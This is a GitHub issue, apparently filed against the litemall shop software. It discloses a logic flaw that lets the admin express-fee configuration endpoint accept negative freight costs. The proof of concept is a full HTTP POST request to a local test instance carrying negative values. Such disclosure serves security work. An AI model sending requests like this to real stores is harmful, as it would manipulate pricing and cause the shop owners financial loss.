Skip to content

Logic Vulnerability - express fee #566

Description

@NinjaGPT

Summary

A logic vulnerability exists on the endpoint /admin/config/express, where logistics costs can be set to negative values, resulting in economic losses.

POC

POST /admin/config/express HTTP/1.1
Host: localhost:8080
Content-Length: 76
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
Accept: application/json, text/plain, */*
X-Litemall-Admin-Token: 7d001288-e95e-4927-8fe6-d527f302c9e8
Content-Type: application/json;charset=UTF-8
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:9527
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:9527/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Cookie: JSESSIONID=7d001288-e95e-4927-8fe6-d527f302c9e8; X-Litemall-Admin-Token=7d001288-e95e-4927-8fe6-d527f302c9e8
Connection: close

{"litemall_express_freight_min":"-88","litemall_express_freight_value":"-8"}
Image Image

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions